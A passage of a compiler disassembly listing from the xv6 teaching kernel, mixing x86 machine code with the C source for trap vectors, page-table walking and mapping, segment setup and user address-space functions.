8010653d: 68 f7 00 00 00 push $0xf7
jmp alltraps
80106542: e9 32 f1 ff ff jmp 80105679 <alltraps>
80106547 <vector248>:
.globl vector248
vector248:
pushl $0
80106547: 6a 00 push $0x0
pushl $248
80106549: 68 f8 00 00 00 push $0xf8
jmp alltraps
8010654e: e9 26 f1 ff ff jmp 80105679 <alltraps>
80106553 <vector249>:
.globl vector249
vector249:
pushl $0
80106553: 6a 00 push $0x0
pushl $249
80106555: 68 f9 00 00 00 push $0xf9
jmp alltraps
8010655a: e9 1a f1 ff ff jmp 80105679 <alltraps>
8010655f <vector250>:
.globl vector250
vector250:
pushl $0
8010655f: 6a 00 push $0x0
pushl $250
80106561: 68 fa 00 00 00 push $0xfa
jmp alltraps
80106566: e9 0e f1 ff ff jmp 80105679 <alltraps>
8010656b <vector251>:
.globl vector251
vector251:
pushl $0
8010656b: 6a 00 push $0x0
pushl $251
8010656d: 68 fb 00 00 00 push $0xfb
jmp alltraps
80106572: e9 02 f1 ff ff jmp 80105679 <alltraps>
80106577 <vector252>:
.globl vector252
vector252:
pushl $0
80106577: 6a 00 push $0x0
pushl $252
80106579: 68 fc 00 00 00 push $0xfc
jmp alltraps
8010657e: e9 f6 f0 ff ff jmp 80105679 <alltraps>
80106583 <vector253>:
.globl vector253
vector253:
pushl $0
80106583: 6a 00 push $0x0
pushl $253
80106585: 68 fd 00 00 00 push $0xfd
jmp alltraps
8010658a: e9 ea f0 ff ff jmp 80105679 <alltraps>
8010658f <vector254>:
.globl vector254
vector254:
pushl $0
8010658f: 6a 00 push $0x0
pushl $254
80106591: 68 fe 00 00 00 push $0xfe
jmp alltraps
80106596: e9 de f0 ff ff jmp 80105679 <alltraps>
8010659b <vector255>:
.globl vector255
vector255:
pushl $0
8010659b: 6a 00 push $0x0
pushl $255
8010659d: 68 ff 00 00 00 push $0xff
jmp alltraps
801065a2: e9 d2 f0 ff ff jmp 80105679 <alltraps>
801065a7: 66 90 xchg %ax,%ax
801065a9: 66 90 xchg %ax,%ax
801065ab: 66 90 xchg %ax,%ax
801065ad: 66 90 xchg %ax,%ax
801065af: 90 nop
801065b0 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
801065b0: 55 push %ebp
801065b1: 89 e5 mov %esp,%ebp
801065b3: 57 push %edi
801065b4: 56 push %esi
801065b5: 53 push %ebx
801065b6: 89 d3 mov %edx,%ebx
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
801065b8: c1 ea 16 shr $0x16,%edx
801065bb: 8d 3c 90 lea (%eax,%edx,4),%edi
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
801065be: 83 ec 0c sub $0xc,%esp
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
801065c1: 8b 07 mov (%edi),%eax
801065c3: a8 01 test $0x1,%al
801065c5: 74 29 je 801065f0 <walkpgdir+0x40>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
801065c7: 25 00 f0 ff ff and $0xfffff000,%eax
801065cc: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
}
801065d2: 8d 65 f4 lea -0xc(%ebp),%esp
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
801065d5: c1 eb 0a shr $0xa,%ebx
801065d8: 81 e3 fc 0f 00 00 and $0xffc,%ebx
801065de: 8d 04 1e lea (%esi,%ebx,1),%eax
}
801065e1: 5b pop %ebx
801065e2: 5e pop %esi
801065e3: 5f pop %edi
801065e4: 5d pop %ebp
801065e5: c3 ret
801065e6: 8d 76 00 lea 0x0(%esi),%esi
801065e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
801065f0: 85 c9 test %ecx,%ecx
801065f2: 74 2c je 80106620 <walkpgdir+0x70>
801065f4: e8 87 be ff ff call 80102480 <kalloc>
801065f9: 85 c0 test %eax,%eax
801065fb: 89 c6 mov %eax,%esi
801065fd: 74 21 je 80106620 <walkpgdir+0x70>
return 0;
// Make sure all those PTE_P bits are zero.
memset(pgtab, 0, PGSIZE);
801065ff: 83 ec 04 sub $0x4,%esp
80106602: 68 00 10 00 00 push $0x1000
80106607: 6a 00 push $0x0
80106609: 50 push %eax
8010660a: e8 61 de ff ff call 80104470 <memset>
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
8010660f: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106615: 83 c4 10 add $0x10,%esp
80106618: 83 c8 07 or $0x7,%eax
8010661b: 89 07 mov %eax,(%edi)
8010661d: eb b3 jmp 801065d2 <walkpgdir+0x22>
8010661f: 90 nop
}
return &pgtab[PTX(va)];
}
80106620: 8d 65 f4 lea -0xc(%ebp),%esp
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
return 0;
80106623: 31 c0 xor %eax,%eax
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
}
80106625: 5b pop %ebx
80106626: 5e pop %esi
80106627: 5f pop %edi
80106628: 5d pop %ebp
80106629: c3 ret
8010662a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106630 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80106630: 55 push %ebp
80106631: 89 e5 mov %esp,%ebp
80106633: 57 push %edi
80106634: 56 push %esi
80106635: 53 push %ebx
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
80106636: 89 d3 mov %edx,%ebx
80106638: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
8010663e: 83 ec 1c sub $0x1c,%esp
80106641: 89 45 e4 mov %eax,-0x1c(%ebp)
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
80106644: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax
80106648: 8b 7d 08 mov 0x8(%ebp),%edi
8010664b: 25 00 f0 ff ff and $0xfffff000,%eax
80106650: 89 45 e0 mov %eax,-0x20(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
80106653: 8b 45 0c mov 0xc(%ebp),%eax
80106656: 29 df sub %ebx,%edi
80106658: 83 c8 01 or $0x1,%eax
8010665b: 89 45 dc mov %eax,-0x24(%ebp)
8010665e: eb 15 jmp 80106675 <mappages+0x45>
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
80106660: f6 00 01 testb $0x1,(%eax)
80106663: 75 45 jne 801066aa <mappages+0x7a>
panic("remap");
*pte = pa | perm | PTE_P;
80106665: 0b 75 dc or -0x24(%ebp),%esi
if(a == last)
80106668: 3b 5d e0 cmp -0x20(%ebp),%ebx
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
8010666b: 89 30 mov %esi,(%eax)
if(a == last)
8010666d: 74 31 je 801066a0 <mappages+0x70>
break;
a += PGSIZE;
8010666f: 81 c3 00 10 00 00 add $0x1000,%ebx
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
80106675: 8b 45 e4 mov -0x1c(%ebp),%eax
80106678: b9 01 00 00 00 mov $0x1,%ecx
8010667d: 89 da mov %ebx,%edx
8010667f: 8d 34 3b lea (%ebx,%edi,1),%esi
80106682: e8 29 ff ff ff call 801065b0 <walkpgdir>
80106687: 85 c0 test %eax,%eax
80106689: 75 d5 jne 80106660 <mappages+0x30>
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}
8010668b: 8d 65 f4 lea -0xc(%ebp),%esp
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
8010668e: b8 ff ff ff ff mov $0xffffffff,%eax
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}
80106693: 5b pop %ebx
80106694: 5e pop %esi
80106695: 5f pop %edi
80106696: 5d pop %ebp
80106697: c3 ret
80106698: 90 nop
80106699: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801066a0: 8d 65 f4 lea -0xc(%ebp),%esp
if(a == last)
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
801066a3: 31 c0 xor %eax,%eax
}
801066a5: 5b pop %ebx
801066a6: 5e pop %esi
801066a7: 5f pop %edi
801066a8: 5d pop %ebp
801066a9: c3 ret
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
801066aa: 83 ec 0c sub $0xc,%esp
801066ad: 68 0c 78 10 80 push $0x8010780c
801066b2: e8 b9 9c ff ff call 80100370 <panic>
801066b7: 89 f6 mov %esi,%esi
801066b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801066c0 <deallocuvm.part.0>:
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
801066c0: 55 push %ebp
801066c1: 89 e5 mov %esp,%ebp
801066c3: 57 push %edi
801066c4: 56 push %esi
801066c5: 53 push %ebx
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
801066c6: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
801066cc: 89 c7 mov %eax,%edi
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
801066ce: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
801066d4: 83 ec 1c sub $0x1c,%esp
801066d7: 89 4d e0 mov %ecx,-0x20(%ebp)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
801066da: 39 d3 cmp %edx,%ebx
801066dc: 73 66 jae 80106744 <deallocuvm.part.0+0x84>
801066de: 89 d6 mov %edx,%esi
801066e0: eb 3d jmp 8010671f <deallocuvm.part.0+0x5f>
801066e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pte = walkpgdir(pgdir, (char*)a, 0);
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
801066e8: 8b 10 mov (%eax),%edx
801066ea: f6 c2 01 test $0x1,%dl
801066ed: 74 26 je 80106715 <deallocuvm.part.0+0x55>
pa = PTE_ADDR(*pte);
if(pa == 0)
801066ef: 81 e2 00 f0 ff ff and $0xfffff000,%edx
801066f5: 74 58 je 8010674f <deallocuvm.part.0+0x8f>
panic("kfree");
char *v = P2V(pa);
kfree(v);
801066f7: 83 ec 0c sub $0xc,%esp
801066fa: 81 c2 00 00 00 80 add $0x80000000,%edx
80106700: 89 45 e4 mov %eax,-0x1c(%ebp)
80106703: 52 push %edx
80106704: e8 c7 bb ff ff call 801022d0 <kfree>
*pte = 0;
80106709: 8b 45 e4 mov -0x1c(%ebp),%eax
8010670c: 83 c4 10 add $0x10,%esp
8010670f: c7 00 00 00 00 00 movl $0x0,(%eax)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
80106715: 81 c3 00 10 00 00 add $0x1000,%ebx
8010671b: 39 f3 cmp %esi,%ebx
8010671d: 73 25 jae 80106744 <deallocuvm.part.0+0x84>
pte = walkpgdir(pgdir, (char*)a, 0);
8010671f: 31 c9 xor %ecx,%ecx
80106721: 89 da mov %ebx,%edx
80106723: 89 f8 mov %edi,%eax
80106725: e8 86 fe ff ff call 801065b0 <walkpgdir>
if(!pte)
8010672a: 85 c0 test %eax,%eax
8010672c: 75 ba jne 801066e8 <deallocuvm.part.0+0x28>
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
8010672e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
80106734: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
8010673a: 81 c3 00 10 00 00 add $0x1000,%ebx
80106740: 39 f3 cmp %esi,%ebx
80106742: 72 db jb 8010671f <deallocuvm.part.0+0x5f>
kfree(v);
*pte = 0;
}
}
return newsz;
}
80106744: 8b 45 e0 mov -0x20(%ebp),%eax
80106747: 8d 65 f4 lea -0xc(%ebp),%esp
8010674a: 5b pop %ebx
8010674b: 5e pop %esi
8010674c: 5f pop %edi
8010674d: 5d pop %ebp
8010674e: c3 ret
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
pa = PTE_ADDR(*pte);
if(pa == 0)
panic("kfree");
8010674f: 83 ec 0c sub $0xc,%esp
80106752: 68 a6 71 10 80 push $0x801071a6
80106757: e8 14 9c ff ff call 80100370 <panic>
8010675c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106760 <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
80106760: 55 push %ebp
80106761: 89 e5 mov %esp,%ebp
80106763: 83 ec 18 sub $0x18,%esp
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpuid()];
80106766: e8 e5 cf ff ff call 80103750 <cpuid>
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
8010676b: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax
80106771: 31 c9 xor %ecx,%ecx
80106773: ba ff ff ff ff mov $0xffffffff,%edx
80106778: 66 89 90 f8 27 11 80 mov %dx,-0x7feed808(%eax)
8010677f: 66 89 88 fa 27 11 80 mov %cx,-0x7feed806(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106786: ba ff ff ff ff mov $0xffffffff,%edx
8010678b: 31 c9 xor %ecx,%ecx
8010678d: 66 89 90 00 28 11 80 mov %dx,-0x7feed800(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106794: ba ff ff ff ff mov $0xffffffff,%edx
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpuid()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106799: 66 89 88 02 28 11 80 mov %cx,-0x7feed7fe(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801067a0: 31 c9 xor %ecx,%ecx
801067a2: 66 89 90 08 28 11 80 mov %dx,-0x7feed7f8(%eax)
801067a9: 66 89 88 0a 28 11 80 mov %cx,-0x7feed7f6(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
801067b0: ba ff ff ff ff mov $0xffffffff,%edx
801067b5: 31 c9 xor %ecx,%ecx
801067b7: 66 89 90 10 28 11 80 mov %dx,-0x7feed7f0(%eax)
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpuid()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801067be: c6 80 fc 27 11 80 00 movb $0x0,-0x7feed804(%eax)
static inline void
lgdt(struct segdesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
801067c5: ba 2f 00 00 00 mov $0x2f,%edx
801067ca: c6 80 fd 27 11 80 9a movb $0x9a,-0x7feed803(%eax)
801067d1: c6 80 fe 27 11 80 cf movb $0xcf,-0x7feed802(%eax)
801067d8: c6 80 ff 27 11 80 00 movb $0x0,-0x7feed801(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801067df: c6 80 04 28 11 80 00 movb $0x0,-0x7feed7fc(%eax)
801067e6: c6 80 05 28 11 80 92 movb $0x92,-0x7feed7fb(%eax)
801067ed: c6 80 06 28 11 80 cf movb $0xcf,-0x7feed7fa(%eax)
801067f4: c6 80 07 28 11 80 00 movb $0x0,-0x7feed7f9(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801067fb: c6 80 0c 28 11 80 00 movb $0x0,-0x7feed7f4(%eax)
80106802: c6 80 0d 28 11 80 fa movb $0xfa,-0x7feed7f3(%eax)
80106809: c6 80 0e 28 11 80 cf movb $0xcf,-0x7feed7f2(%eax)
80106810: c6 80 0f 28 11 80 00 movb $0x0,-0x7feed7f1(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106817: 66 89 88 12 28 11 80 mov %cx,-0x7feed7ee(%eax)
8010681e: c6 80 14 28 11 80 00 movb $0x0,-0x7feed7ec(%eax)
80106825: c6 80 15 28 11 80 f2 movb $0xf2,-0x7feed7eb(%eax)
8010682c: c6 80 16 28 11 80 cf movb $0xcf,-0x7feed7ea(%eax)
80106833: c6 80 17 28 11 80 00 movb $0x0,-0x7feed7e9(%eax)
lgdt(c->gdt, sizeof(c->gdt));
8010683a: 05 f0 27 11 80 add $0x801127f0,%eax
8010683f: 66 89 55 f2 mov %dx,-0xe(%ebp)
pd[1] = (uint)p;
80106843: 66 89 45 f4 mov %ax,-0xc(%ebp)
pd[2] = (uint)p >> 16;
80106847: c1 e8 10 shr $0x10,%eax
8010684a: 66 89 45 f6 mov %ax,-0xa(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
8010684e: 8d 45 f2 lea -0xe(%ebp),%eax
80106851: 0f 01 10 lgdtl (%eax)
}
80106854: c9 leave
80106855: c3 ret
80106856: 8d 76 00 lea 0x0(%esi),%esi
80106859: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106860 <switchkvm>:
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
80106860: a1 a4 55 11 80 mov 0x801155a4,%eax
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
80106865: 55 push %ebp
80106866: 89 e5 mov %esp,%ebp
80106868: 05 00 00 00 80 add $0x80000000,%eax
8010686d: 0f 22 d8 mov %eax,%cr3
lcr3(V2P(kpgdir)); // switch to the kernel page table
}
80106870: 5d pop %ebp
80106871: c3 ret
80106872: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106879: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106880 <switchuvm>:
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
80106880: 55 push %ebp
80106881: 89 e5 mov %esp,%ebp
80106883: 57 push %edi
80106884: 56 push %esi
80106885: 53 push %ebx
80106886: 83 ec 1c sub $0x1c,%esp
80106889: 8b 75 08 mov 0x8(%ebp),%esi
if(p == 0)
8010688c: 85 f6 test %esi,%esi
8010688e: 0f 84 cd 00 00 00 je 80106961 <switchuvm+0xe1>
panic("switchuvm: no process");
if(p->kstack == 0)
80106894: 8b 46 08 mov 0x8(%esi),%eax
80106897: 85 c0 test %eax,%eax
80106899: 0f 84 dc 00 00 00 je 8010697b <switchuvm+0xfb>
panic("switchuvm: no kstack");
if(p->pgdir == 0)
8010689f: 8b 7e 04 mov 0x4(%esi),%edi
801068a2: 85 ff test %edi,%edi
801068a4: 0f 84 c4 00 00 00 je 8010696e <switchuvm+0xee>
panic("switchuvm: no pgdir");
pushcli();
801068aa: e8 e1 d9 ff ff call 80104290 <pushcli>
mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts,
801068af: e8 1c ce ff ff call 801036d0 <mycpu>
801068b4: 89 c3 mov %eax,%ebx
801068b6: e8 15 ce ff ff call 801036d0 <mycpu>
801068bb: 89 c7 mov %eax,%edi
801068bd: e8 0e ce ff ff call 801036d0 <mycpu>
801068c2: 89 45 e4 mov %eax,-0x1c(%ebp)
801068c5: 83 c7 08 add $0x8,%edi
801068c8: e8 03 ce ff ff call 801036d0 <mycpu>
801068cd: 8b 4d e4 mov -0x1c(%ebp),%ecx
801068d0: 83 c0 08 add $0x8,%eax
801068d3: ba 67 00 00 00 mov $0x67,%edx
801068d8: c1 e8 18 shr $0x18,%eax
801068db: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx)
801068e2: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx)
801068e9: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx)
801068f0: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx)
801068f7: 83 c1 08 add $0x8,%ecx
801068fa: 88 83 9f 00 00 00 mov %al,0x9f(%ebx)
80106900: c1 e9 10 shr $0x10,%ecx
80106903: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx)
mycpu()->gdt[SEG_TSS].s = 0;
mycpu()->ts.ss0 = SEG_KDATA << 3;
mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
mycpu()->ts.iomb = (ushort) 0xFFFF;
80106909: bb ff ff ff ff mov $0xffffffff,%ebx
panic("switchuvm: no pgdir");
pushcli();
mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts,
sizeof(mycpu()->ts)-1, 0);
mycpu()->gdt[SEG_TSS].s = 0;
8010690e: e8 bd cd ff ff call 801036d0 <mycpu>
80106913: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax)
mycpu()->ts.ss0 = SEG_KDATA << 3;
8010691a: e8 b1 cd ff ff call 801036d0 <mycpu>
8010691f: b9 10 00 00 00 mov $0x10,%ecx
80106924: 66 89 48 10 mov %cx,0x10(%eax)
mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
80106928: e8 a3 cd ff ff call 801036d0 <mycpu>
8010692d: 8b 56 08 mov 0x8(%esi),%edx
80106930: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx
80106936: 89 48 0c mov %ecx,0xc(%eax)
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
mycpu()->ts.iomb = (ushort) 0xFFFF;
80106939: e8 92 cd ff ff call 801036d0 <mycpu>
8010693e: 66 89 58 6e mov %bx,0x6e(%eax)
}
static inline void
ltr(ushort sel)
{
asm volatile("ltr %0" : : "r" (sel));
80106942: b8 28 00 00 00 mov $0x28,%eax
80106947: 0f 00 d8 ltr %ax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
8010694a: 8b 46 04 mov 0x4(%esi),%eax
8010694d: 05 00 00 00 80 add $0x80000000,%eax
80106952: 0f 22 d8 mov %eax,%cr3
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
popcli();
}
80106955: 8d 65 f4 lea -0xc(%ebp),%esp
80106958: 5b pop %ebx
80106959: 5e pop %esi
8010695a: 5f pop %edi
8010695b: 5d pop %ebp
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
mycpu()->ts.iomb = (ushort) 0xFFFF;
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
popcli();
8010695c: e9 6f d9 ff ff jmp 801042d0 <popcli>
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
if(p == 0)
panic("switchuvm: no process");
80106961: 83 ec 0c sub $0xc,%esp
80106964: 68 12 78 10 80 push $0x80107812
80106969: e8 02 9a ff ff call 80100370 <panic>
if(p->kstack == 0)
panic("switchuvm: no kstack");
if(p->pgdir == 0)
panic("switchuvm: no pgdir");
8010696e: 83 ec 0c sub $0xc,%esp
80106971: 68 3d 78 10 80 push $0x8010783d
80106976: e8 f5 99 ff ff call 80100370 <panic>
switchuvm(struct proc *p)
{
if(p == 0)
panic("switchuvm: no process");
if(p->kstack == 0)
panic("switchuvm: no kstack");
8010697b: 83 ec 0c sub $0xc,%esp
8010697e: 68 28 78 10 80 push $0x80107828
80106983: e8 e8 99 ff ff call 80100370 <panic>
80106988: 90 nop
80106989: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106990 <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80106990: 55 push %ebp
80106991: 89 e5 mov %esp,%ebp
80106993: 57 push %edi
80106994: 56 push %esi
80106995: 53 push %ebx
80106996: 83 ec 1c sub $0x1c,%esp
80106999: 8b 75 10 mov 0x10(%ebp),%esi
8010699c: 8b 45 08 mov 0x8(%ebp),%eax
8010699f: 8b 7d 0c mov 0xc(%ebp),%edi
char *mem;
if(sz >= PGSIZE)
801069a2: 81 fe ff 0f 00 00 cmp $0xfff,%esi
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
801069a8: 89 45 e4 mov %eax,-0x1c(%ebp)
char *mem;
if(sz >= PGSIZE)
801069ab: 77 49 ja 801069f6 <inituvm+0x66>
panic("inituvm: more than a page");
mem = kalloc();
801069ad: e8 ce ba ff ff call 80102480 <kalloc>
memset(mem, 0, PGSIZE);
801069b2: 83 ec 04 sub $0x4,%esp
{
char *mem;
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
801069b5: 89 c3 mov %eax,%ebx
memset(mem, 0, PGSIZE);
801069b7: 68 00 10 00 00 push $0x1000
801069bc: 6a 00 push $0x0
801069be: 50 push %eax
801069bf: e8 ac da ff ff call 80104470 <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
801069c4: 58 pop %eax
801069c5: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801069cb: b9 00 10 00 00 mov $0x1000,%ecx
801069d0: 5a pop %edx
801069d1: 6a 06 push $0x6
801069d3: 50 push %eax
801069d4: 31 d2 xor %edx,%edx
801069d6: 8b 45 e4 mov -0x1c(%ebp),%eax
801069d9: e8 52 fc ff ff call 80106630 <mappages>
memmove(mem, init, sz);
801069de: 89 75 10 mov %esi,0x10(%ebp)
801069e1: 89 7d 0c mov %edi,0xc(%ebp)
801069e4: 83 c4 10 add $0x10,%esp
801069e7: 89 5d 08 mov %ebx,0x8(%ebp)
}
801069ea: 8d 65 f4 lea -0xc(%ebp),%esp
801069ed: 5b pop %ebx
801069ee: 5e pop %esi
801069ef: 5f pop %edi
801069f0: 5d pop %ebp
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
memset(mem, 0, PGSIZE);
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
memmove(mem, init, sz);
801069f1: e9 2a db ff ff jmp 80104520 <memmove>
inituvm(pde_t *pgdir, char *init, uint sz)
{
char *mem;
if(sz >= PGSIZE)
panic("inituvm: more than a page");
801069f6: 83 ec 0c sub $0xc,%esp
801069f9: 68 51 78 10 80 push $0x80107851
801069fe: e8 6d 99 ff ff call 80100370 <panic>
80106a03: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106a10 <loaduvm>:
